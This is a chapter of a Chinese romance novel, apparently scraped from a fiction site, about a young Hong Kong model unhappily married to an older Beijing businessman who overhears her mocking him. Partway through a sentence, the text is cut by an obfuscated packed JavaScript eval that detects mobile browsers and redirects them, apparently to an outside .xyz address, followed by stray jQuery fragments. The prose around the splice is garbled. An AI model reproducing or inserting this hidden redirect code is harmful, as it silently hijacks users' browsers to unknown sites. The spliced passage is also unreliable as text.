二月十一日。
天气阴，下大雪。
最近的北京干而冷，气象台发布了寒潮预警。
今天是唐小姐想离婚的第六天。
雪正在漫天飘，沉积在院子里种的红须朱砂梅上，雪厚重，压的枝干倾斜。
唐柏菲照例睡到上午才起床，穿一身石榴红睡衣，趿拉着毛茸茸的拖鞋去洗漱，随手拍了点精华。一切收拾完毕，坐在床前地毯上，靠着床，蜷起腿，拿起那本再熟悉不过的杂志翻。
这是MUSSEY杂志社寄来的样刊。
封面是她的照片。
照片里，唐柏菲波浪黑发，丝质大红长裙，鼓风机把她头发吹起，摄影师按下快门，记录最美瞬间。封面角落一行小字，写着——潜力平面模特唐小姐。杂志的第32页还有关于她的采访，问题都十分会抓痛点，第一个是，您今年有去米兰时装周的打算吗？国际三大时装周对您有邀请吗？最后一个是，当初为什么放弃服装设计专业来做平模？
好不容易被采访一次，那几百字她看了不下十遍。唐柏菲指尖摩挲着光滑纸面，最终把杂志合上。
屋内太闷，暖气太足了，她站起来开了窗户。
小二楼的大红酸枝木窗朝外开，唐柏菲趴在窗台上，支着头，看到手机里一条未接来电。
毛晚栗打来的。
按键，拨回去。
几秒后接通，那边人很激动：“要死啊——不接我电话！”
唐柏菲平静地把手机拿远，等那边喊完了，再放到耳边，“是真的要死了——如果不能和他离婚，我真的要上吊了。”
“是哈，一哭二闹，你还就差最后一个了，”毛晚栗告诉她：“认命吧，唐小姐。对了，我找私家侦探替你打听过，他没前女友，这很可疑，侦探说，他大概率是有隐疾。但是，你换个角度想也不错，不用履行夫妻义务。”
前面是雪点子扑簌而来，背后又是阵阵暖意，唐柏菲莫名烦躁，轻哼一声，“连你也看我笑话。”身体憋的闷气化为一股力量，让唐柏菲狠狠踢了下墙根，不出意外气没撒出来，脚特别疼。
特别特别疼。
唐柏菲要哭了，气得：“那我把他便宜卖给你，这福气给你要不要啊！”
毛晚栗连连说不，继续逗她：“我这个已婚女人实在无福消受，您留着自己享用吧。”
这件事还要从一周前讲起。
上周二早晨，唐柏菲和傅程铭领了结婚证，拍照时，两个人都没带一点儿笑意，负责摄像的工作人员纳罕至极，悄悄说了句，别是什么联姻吧。
偏偏钻进唐柏菲的耳朵，自那起，唐小姐后知后觉，开始闹离婚，赖在这院子不走，耍脾气，摔东西，摔碎一盏古董琉璃灯，一座陶瓷挂耳瓶，在骂唐永清卖女求荣的同时，用枕头打爸爸的肩，唐永清自是没话说，毕竟是亲姑娘。
全家人哄了唐小姐好几天，这才消停点儿。
毛晚栗又问她：“你人在哪儿呢。”
“我爸妈这里。”
“你那老公不来接你？把你忘了？”
“忘了最好！”
“我很同情你啊唐小姐，二十一岁走进婚姻坟墓，”毛晚栗说，“你们迟早要同居的，如果他来接你，要把你这尊佛请到哪儿去啊。”
“好像是...”唐柏菲沉吟片刻，“南池子。”
“哦呦，那儿的四合院全北京最贵，你凑乎过吧，起码他有钱。”
唐柏菲天真稚气的眼睛睁了睁，“南池子，在北京很厉害吗？”她从小在香港长大，也是最近半年不久，举家搬迁来北京。之前唐永清吃上香港回归的红利，做起大陆生意，稳固了二十多年，才敢让全家人跟着来首都——皇城根儿，天子脚下，比香港更寸土寸金的地儿。
“相当于你们香港的浅水湾，深水湾，山顶之类的，”毛晚栗说，“总之，比你现在住的这地儿，可要贵得多。”
唐小姐不服气：“那，我们家也有钱啊。”
“你以为只要有钱就能买得上啊，往那边儿一走，钱最不值钱。”
她才不稀罕呢...
唐柏菲咽下这口气，双手抱在胸前，转了个身，后背靠在窗沿上。
这么背对着窗外，自然看不见院里开进一辆红旗车，挂着显眼的白车牌。
车子速度缓慢，停在正厅前一片空地上。
后方车门从内推开，锃亮的黑皮鞋先着地，走出来一位全身黑的男人，成套西装外是黑大衣。
傅程铭关好车门，看前排车窗降下去，对张绍经说，“你在院门口等我。”
张绍经话不多说，只点头，打转向开走了。
他抬手看表，刚好在约定时间内。
表放下的那刻，傅程铭耳边传来一阵轻细、带点儿娇气的声音，骤然打破四下沉寂的氛围：
“毛晚栗，我可不凑乎，我迟早和他离婚。他傅程铭算什么东西，能配上我吗？我几岁他几岁啊。”
“他那么老！”
“不然呢，我喜欢他什么？我图他什么，图他大我十一岁，图他枯燥古板，还图他是个性/无能？”
傅程铭想起来这是谁了。
他倒没动气，也没必要和女孩子过不去，只是饶有兴致抬头，循着声源望上去。
小二楼开着窗，女孩子半靠窗沿，侧对他。傅程铭能看到唐柏菲的侧脸轮廓，从饱满的额头到小巧鼻尖，被太阳光勾勒出一条白边，裙子和梅花一个色，披在背后的卷发直垂到腰间，发尾沾了点雪。
傅程铭淡淡收回了眼。
就在这一秒之内，楼上那位刚好也回过身，垂眼看见正朝里走的男人。
以这个角度只能看到傅程铭的眉眼，不过，足够了，唐柏菲认得出...毕竟上周刚见过呢。
等等。
她在小二楼，又开着窗，她声音可不小。
那岂不是她刚才说的那些，他统统听见了？
唐柏菲缩了缩脖子，只觉得自己倒霉，捂住嘴巴对话筒说了一句：“我死惨了...”
“啊？”
“你说你刺激我干什么...我噼里啪啦骂一堆，发现他就在楼下。”
“少鬼扯，楼上楼下不一定听得见。”
“...”唐柏菲扶额，恨不得从世界上消失，“楼矮，我和他直线距离顶多五米。”
毛晚栗愣了几秒，开始滔滔不绝：“我只能说你真勇敢，上学得罪老师，当模特得罪造型师，结婚得罪老公，而且他来头肯定不小啊。他一个很有来头的三十多岁男人，听你讲那些编排的话，多难听呀，尤其那什么性/无能，不恨上你就怪了！”
唐柏菲狠狠拍了下自己的嘴。
此刻的她，像极热锅上的蚂蚁，心如火煎般朝楼底院子看去，只见傅程铭缓走两步，爸爸也走来，两个人开始寒暄。
-
傅程铭姿态挺拔，身材高挑，步子也是不疾不徐，骨子里透着沉稳劲儿。他看唐永清出来迎，顿步，微微眯眼递过去有礼克制的笑，附赠一个颔首：“唐先生，好久不见。”
唐永清也笑，“认识多少年了，客气什么呢。来，借你几步，尝尝我新买来的茶。”
“好。”傅程铭抬手示意，“请。”
两个人走到堂屋外的檐下，一左一右坐在交椅上，中间小桌面是一整套茶具，壶里冒出白水汽，有阵阵茶香。
唐永清用第一壶浇茶宠，一边说道：“金瓜贡茶，等了好久才拿到的。”
第一壶浇完，开始泡第二壶。
两壶的间隔里，唐永清点了点自己的白褂衫。
“最近开始学太极了？”
“可不是，唐柏菲任性，闹得厉害，学会用枕头打我了，你说我要不多练练，指不定哪天就倒了。”
傅程铭对此不表言论，只是笑笑，且告诉唐永清：“说到唐小姐，也是我来的目的之一，那边儿的院子收拾好了，今天得空，接她搬去住，其二，是咱们谈的那个政府项目，可以着手合作了。几天后，我会让助理把合同送到你手上。”
第二壶茶泡好了，唐永清先给傅程铭倒满一小盏，再给自己倒。
“以茶代酒，”唐永清举起茶盏，仰起头一饮而尽后，又向他展示杯底，“干了。”
“唐先生客气。”
在傅程铭也喝茶的时候，不远处传来女人声音：“诶呦，”音量越来越近，他看清来人，是唐夫人曲令仪，“这不是小傅么，唐永清，人来了你怎么不叫我一声呢。”
唐永清笑着回：“谈那个合同呢。”
曲令仪走近，双手按住唐永清的肩，亲昵拍了拍，“你们谈的大事情我就不听了，只有一个要求，留下来吃完午饭再走。”
“抱歉，今天时间紧，少陪了，”傅程铭站起身，对上唐夫人诧异神色，解释的很坦然：“助理的车还在照壁那儿停着，是接唐小姐的。”
傅程铭说到做到，当初和唐永清商量好的，对这圈子里人做个样，省得背后说夫妻分居的闲话。至于什么合八字，下聘，婚礼这些让外人看的形式，则挑个好日子补办。
曲令仪听到后，脸上有种尘埃落定的表情，释然笑笑，“那就改天吧，我现在去叫她下楼。”
唐永清让佣人拿行李，一行人前前后后，拖着大包小包，放进那辆红旗车的后备箱里。曲令仪爬小二楼上去劝，做好磨嘴皮子的准备，却不想唐柏菲因为心虚，主动乖乖下楼，去前院找那辆车。
唐柏菲踩着一双高跟鞋，走在石砖上哒哒响。
到车前时，傅程铭就在那儿站着，神色淡淡替她拉开后座车门，一只手还不忘搭在上面，一副老派绅士作风。唐柏菲眼神有意躲闪他，像落难的小兔子似的弯腰上了车。
傅程铭把门一关，转头看向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542779|171058||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来送客的唐永清和唐夫人，说外面冷，让二位请回。
总归客套几句，院门口的人散了。
-
车内。
两人一左一右，中间空了好大的距离，连带张绍经一共三人，没人开口说话，再加上轮毂与沥青地面摩擦的声音，就更显安静。
窗外建筑物飞速倒退，随着分秒流转，唐柏菲身上的香水味浸满整个轿厢。
傅程铭不适应这种香水味儿。
——浓烈气息像把他整个人裹住一样。
他轻微皱眉，眼神朝唐柏菲那里转过去。不比他这一身，黑得死气沉沉，女孩子打扮得元气十足，出于礼貌，视线并没过多停留，只扫了一眼，便很快收回，拿起放车里的文件，一页一页的翻。
纸张沙沙声传进唐柏菲耳朵，她转头，悄悄看着坐在她左手边的男人。一身黑，气场肃杀，外面套着大衣却并不显臃肿，一双骨节分明的手捏着放在大腿上的文件，手背有不少深浅不一的青筋，再往下，裤子她没看出来什么牌，倒是面料讲究，正中裤线直直一条，皮鞋纤尘不染，鞋头不太尖，有不露锋芒的意思。
或许看得太久，傅程铭感受到目光，往那边看了一眼。
两人视线隔空撞上。
后者立刻收回眼，欲盖弥彰的看向窗外，一双手还紧张兮兮的攥起裙子。
这些小动作被他尽收眼底后，傅程铭只当是年轻女孩子的小脾气。
其实，唐柏菲在实打实的紧张。
可能因为要搬进新环境，也可能是旁边坐着一位“很有来头”且气场过于强的成熟男人，更可能，是她大肆说的那句“还图他是个性/无能？”
她尴尬得要死...恨不得开门跳车，或是把牙咬碎咽肚子里，再也说不清话算了。
路途比较长，加上北京堵车，唐柏菲煎熬了整整三个小时。
-
唐柏菲到时，日上三竿，晌午一点半。
傅程铭带她一起进院子，唐柏菲看见一位估摸五十上下的女人，精神矍铄，头发挽得利落，手里拿了一盏砚屏，腕上的翡翠手镯晃悠着。看打扮，应该是管家一类。
他偏首，低声对唐柏菲说了第一句话：“是成姨，我基本不回家，你以后有什么需要，和她提。”
傅程铭声音很好听，沉，却不闷，没有二十出头小男生的那些不稳重，也没什么过分出格的昂扬，像一座沉稳放置在角落的钟，足够低调，却难掩锋芒和厚重。
以至于听到这声音，唐柏菲愣了下才点头。
和她前男友比，简直不在一个频道。
成孀放下手里的活儿，笑说：“傅先生，真是好久没见你。”又看向唐柏菲，“这位应该是唐小姐吧，之前只在照片里见过，没想到本人比照片还好看呐。”她走近，拉起唐柏菲的手，没忍住多看两眼。
天然的亲切感，让唐柏菲因尴尬而产生的不自在消解大半。
唐柏菲最喜欢别人夸她漂亮，她笑，嘴角扬的幅度很大，下巴微扬着，面上骄傲尽显，“是呀，好多人都说，我这张脸要是上镜，那就不得了了。不上镜也挺好，给别人留条活路吧。”
成姨被逗得大笑。
“唐小姐说话，特像我们北京胡同里长大的姑娘。”
“可惜了，我不是。”
“唐小姐是哪儿人啊。”
她漏齿而笑，十分大方，“香港的。”
成姨重重哦了一声。
傅程铭垂眼，看她那张脸。
她属实不算骄傲，也没自夸成分，五官大气，不施妆容也十分浓丽，皮肤在晌午的阳光下白里透粉，像还带着露汁的水蜜桃。
“对了，你看我光顾着说话，”成孀指了指二进院的方向，“新来的厨师做菜特好吃，食材备好了，我让他赶紧做上去，”接着看向傅程铭：“有你最爱喝的鸽子汤。”
唐柏菲捂着自己瘪下的肚子，目光追随着成姨。
她也爱喝，尤其是往里加樱桃和苹果。
成姨人刚走出几步，却被傅程铭叫住：“不用了，我今天还有事儿，马上就走。”
成姨步子一顿，面色疑惑。
傅程铭只说：“回集团一趟。”
“行，晚上再给你熬。”
“晚上也不回来了，”傅程铭嘴角噙着不咸不淡的笑，“你们吃。”
后三个字讲得极其干练，他人说完，直接转身朝门外走去。
转身最后一刻，傅程铭不经意扫过唐柏菲，视线清白的落在她面容上，能瞧出来，那表情大概是——太好了，讨厌鬼终于走了。
唐柏菲看他步伐稳健的离开后，悄悄松了口气。
她知道，这老男人指定记仇着呢。
不过没关系，这婚她迟早能离成的，她会耍脾气，能作妖，他也一定受不了她的刁难。
日子长，走着瞧。